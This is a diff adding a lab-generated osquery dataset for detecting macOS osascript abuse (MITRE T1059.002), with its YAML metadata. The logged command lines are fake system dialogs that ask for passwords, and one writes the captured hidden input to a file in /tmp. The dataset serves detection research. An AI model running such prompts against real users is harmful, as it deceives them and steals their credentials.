macOS osascript attack data

datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.log

@@ -0,0 +1,6 @@
+{"preview":false,"result":{"_time":"2026-07-23T14:40:00.000+0000","host":"ip-172-31-18-170.ca-central-1.compute.internal","columns.path":"/usr/bin/osascript","columns.cmdline":"osascript -e \"\\x0A    set userInput to text returned of (display dialog \\\"macOS needs to access System Settings\\\" default answer \\\"\\\" with title \\\"System Preferences\\\" with icon caution with hidden answer)\\x0A    set shellCommand to \\\"echo \\\\\\\"Captured hidden input: \\\" & quoted form of userInput & \\\"\\\\\\\" > /tmp/captured_system_settings_input.log\\\"\\x0A    do shell script shellCommand\\x0A\" ","count":"2"}}
+{"preview":false,"result":{"_time":"2026-07-23T14:40:00.000+0000","host":"ip-172-31-18-170.ca-central-1.compute.internal","columns.path":"/usr/bin/osascript","columns.cmdline":"osascript -e \"display alert \\\"Critical System Error\\\" message \\\"An unexpected system error has occurred and needs your immediate attention. Please contact support.\\\" as critical buttons {\\\"OK\\\"}\" ","count":"1"}}
+{"preview":false,"result":{"_time":"2026-07-23T14:40:00.000+0000","host":"ip-172-31-18-170.ca-central-1.compute.internal","columns.path":"/usr/bin/osascript","columns.cmdline":"osascript -e \"display dialog \\\"A critical security update is available. Please enter your password to install.\\\" default answer \\\"\\\" with title \\\"Software Update\\\" with icon note with hidden answer\" ","count":"1"}}
+{"preview":false,"result":{"_time":"2026-07-23T14:40:00.000+0000","host":"ip-172-31-18-170.ca-central-1.compute.internal","columns.path":"/usr/bin/osascript","columns.cmdline":"osascript -e \"display dialog \\\"Your system has a critical update that needs your immediate attention. Click OK to proceed.\\\" with title \\\"Important System Message\\\" with icon caution\" ","count":"1"}}
+{"preview":false,"result":{"_time":"2026-07-23T14:45:00.000+0000","host":"ip-172-31-18-170.ca-central-1.compute.internal","columns.path":"/usr/bin/osascript","columns.cmdline":"osascript -e \"\\x0A    set userInput to text returned of (display dialog \\\"macOS needs to access System Settings\\\" default answer \\\"\\\" with title \\\"System Preferences\\\" with icon caution with hidden answer)\\x0A    set shellCommand to \\\"echo \\\\\\\"Captured hidden input: \\\" & quoted form of userInput & \\\"\\\\\\\" > /tmp/captured_system_settings_input.log\\\"\\x0A    do shell script shellCommand\\x0A\" ","count":"1"}}
+{"preview":false,"lastrow":true,"result":{"_time":"2026-07-23T14:45:00.000+0000","host":"ip-172-31-18-170.ca-central-1.compute.internal","columns.path":"/usr/bin/osascript","columns.cmdline":"osascript -e \"display dialog \\\"A critical security update is available. Please enter your password to install.\\\" default answer \\\"\\\" with title \\\"Software Update\\\" with icon note with hidden answer\" ","count":"1"}}

datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.yml

@@ -0,0 +1,13 @@
+author: Radka Viskova
+id: 67d286c1-1f42-47c1-806a-eb976bb9c542
+date: '2026-08-07'
+description: Generated dataset for osascript execution prompting for user interaction with osquery and endpoint security
+environment: TalosOffensiveLab
+directory: osascript
+mitre_technique: 
+- T1059.002
+datasets:
+- name: osascript_prompts_user.log
+  path: /datasets/attack_techniques/T1059.002/osascript/osascript_prompts_user.log
+  sourcetype: osquery:results
+  source: osquery